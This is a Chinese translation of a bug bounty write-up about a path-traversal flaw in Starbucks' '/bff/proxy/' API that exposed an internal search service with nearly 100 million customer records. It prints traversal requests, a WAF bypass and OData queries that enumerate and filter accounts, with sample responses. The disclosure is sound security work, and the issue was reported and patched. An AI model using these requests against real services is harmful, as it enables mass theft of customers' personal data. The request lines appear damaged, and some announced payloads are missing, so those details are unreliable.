经过一整天的尝试并未能在Verizon Media Bug赏金计划中找到漏洞,我决定退出并做一些琐事。我需要为朋友的生日买礼物,然后上网订购星巴克的礼物卡。
在星巴克网站上尝试购买它时,我禁不住注意到许多API调用,这些调用立即引起了人们的怀疑。在以“ /bff/proxy/”为前缀的API下发送了一些请求,这些请求返回的数据似乎来自另一台主机。
由于星巴克有一个漏洞赏金计划,并且那天那天我的进度为零,这让我有点不知所措,因此我决定进一步研究它们。
以下是返回我的用户信息的那些API调用之一的示例:
术语“ bff”实际上代表“后端的后端”,表示与用户交互的应用程序将请求发送给另一台主机以获取实际的逻辑或功能。下面是一个非常简单的视图:
在上面的示例中,“ app.starbucks.com”主机将无法访问通过特定终结点正在访问的逻辑或数据,但将充当假设的第二个主机“内部”的代理或中间人。 “internal.starbucks.com”。
这里要考虑的一些有趣的事情是…
我们如何测试应用程序的路由?
如果应用程序将请求路由到内部主机,则权限模型是什么样的?
我们可以控制发送到内部主机的请求中的路径或参数吗?
内部主机上是否有开放重定向,如果有,应用程序将遵循开放重定向吗?
返回的内容是否必须匹配适当的类型(是否解析JSON,XML或任何其他数据?)
我做的第一件事是尝试遍历API调用,以便可以加载其他路径,而执行此操作的方式是发送以下负载:
但是,这些都不起作用。他们都返回了我通常会看到的相同的404页面,该页面通常是试图加载网站上任何地方都不存在的页面的。
这表明仅仅因为请求中的路径在“ /bff/proxy”下,它并没有继承我随后发送的所有内容,它可能更加明确。
在这种情况下,
我们可以将“/bff/proxy/orchestra/get-user”视为我们正在调用的未包含用户输入的功能。我们有机会找到一个确实可以接受用户输入的功能,例如“/bff/ proxy/users/:id”,我们可以在其中进行测试并测试将接受的数据。如果我们发现这样的API调用,我们可能会更有运气尝试遍历有效负载并发送其他数据,因为它实际上是在用户输入中获取的。
我看了应用程序一段时间,直到发现更多API调用。我发现接受用户输入的第一个信息是:
该端点不同于“获取用户”端点,因为最后一条路径作为参数存在,我们在其中提供了任意输入。如果此输入被视为内部系统上的路径,则我们可能会遍历它并访问其他内部端点。
幸运的是,我尝试的第一个测试返回了一个非常好的指标,表明我们可以遍历端点:
此JSON响应与“/bff/proxy”下所有其他常规API调用的JSON响应相同。这表明我们正在使用内部系统,并且已经成功地修改了我们正在与之交谈的路径。下一步将是绘制内部系统,最好的方法是通过标识返回“ 400错误请求”的第一条路径遍历到根目录。
但是,有一个WAF不会让我深入两个目录:
幸运的是,这个WAF不难绕过:
最终,在返回7条路径后,我收到以下错误:
GET /bff/proxy/stream/v1/me/streamItems/web.................... HTTP/1.1
Host: app.starbucks.com
这意味着内部API的根是6个返回路径,我们可以使用目录暴力破解工具或Burp Suite的入侵者和单词列表将其映射出来。
此时,由于我对功能的兴趣,我与Justin Gardner进行了探讨。
他几乎观察到内部系统的根目录,立即发现了许多路径,而没有正斜杠,随后便使用Burp的入侵者返回了重定向代码:
GET /bff/proxy/stream/v1/users/me/streamItems/web..................search
Host: app.starbucks.com
Justin致力于寻找所有端点时,我逐一研究了每个目录。运行完自己的扫描后,我发现“ v1”存在于“搜索”下,而“ v1”之下是“帐户”和“地址”。
我给贾斯汀发了一条消息,想想如果“/search/v1/accounts”端点是对所有生产帐户的搜索,那将是多么有趣……
就是这样。
“/search/v1/accounts”是可以访问所有星巴克帐户的Microsoft Graph实例。
GET /bff/proxy/stream/v1/users/me/streamItems/web..................searchv1Accounts HTTP/1.1
Host: app.starbucks.com
{
"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",
"value": [
{
"Id": 1,
"ExternalId": "12345",
"UserName": "UserName",
"FirstName": "FirstName",
"LastName": "LastName",
"EmailAddress": "[email protected]",
"Submarket": "US",
"PartnerNumber": null,
"RegistrationDate": "1900-01-01T00:00:00Z",
"RegistrationSource": "iOSApp",
"LastUpdated": "2017-06-01T15:32:56.4925207Z"
},
...
lots of production accounts
此外,“地址”端点返回了类似的信息…
GET /bff/proxy/stream/v1/users/me/streamItems/web..................searchv1Addresses HTTP/1.1
Host: app.starbucks.com
{
"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Addresses",
"value": [
{
"Id": 1,
"AccountId": 1,
"AddressType": "3",
"AddressLine1": null,
"AddressLine2": null,
"AddressLine3": null,
"City": null,
"PostalCode": null,
"Country": null,
"CountrySubdivision": null,
"FirstName": null,
"LastName": null,
"PhoneNumber": null
},
...
lots of production addresses
它是为生产帐户和地址提供的服务。我们开始进一步探索该服务,以使用Microsoft Graph功能确认我们的怀疑。
GET /bff/proxy/stream/v1/users/me/streamItems/web..................Searchv1Accounts?$count=true
Host: app.starbucks.com
{
"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",
"@odata.count":99356059
}
通过从Microsoft Graph URL添加“$count”参数,我们可以确定该服务具有近1亿条记录。攻击者可以通过添加“$skip”和“$count”之类的参数枚举所有用户帐户来窃取此数据。
此外,要查明特定的用户帐户,攻击者可以使用“$filter”参数:
GET /bff/proxy/stream/v1/users/me/streamItems/web..................Searchv1Accounts?$filter=startswith(UserName,'redacted') HTTP/1.1
Host: app.starbucks.com
{
"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",
"value": [
{
"Id": 81763022,
"ExternalId": "59d159e2-redacted-redacted-b037-e8cececdf354",
"UserName": "[email protected]",
"FirstName": "Justin",
"LastName": "Gardner",
"EmailAddress": "[email protected]",
"Submarket": "US",
"PartnerNumber": null,
"RegistrationDate": "2018-05-19T18:52:15.0763564Z",
"RegistrationSource": "Android",
"LastUpdated": "2020-05-16T23:28:39.3426069Z"
}
]
}
由于所有内容的敏感性,我们继续报告此问题。我们仍然没有时间去测试许多可以访问的API。我们发现的其他一些端点是:
GET /bff/proxy/stream/v1/users/me/streamItems/web..................search
Host: app.starbucks.com
0
这些其他内部端点可能(尽管尚未确认)使我们能够访问和修改账单地址,礼品卡,奖励和优惠等内容。
我们当前的概念证明表明,我们可以访问近1亿星巴克客户的姓名,电子邮件,电话号码和地址。
星巴克团队非常迅速地解决了这一问题,并在一天内解决了该问题。
摘要
“ app.starbucks.com”上“/bff/proxy/”下的端点在内部路由请求以检索和存储数据。
可以遍历这些API调用,以访问不应在内部主机上访问的命中URL。
内部API有一个公开的Microsoft Graph实例,它使攻击者能够窃取近1亿条用户记录,包括姓名,电子邮件,电话号码和地址。
时间线
5月16日报道
5月17日已修补
5月19日颁发的赏金(4,000美元)
长按二维码关注EDI安全
一个专注渗透实战经验分享的公众号
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...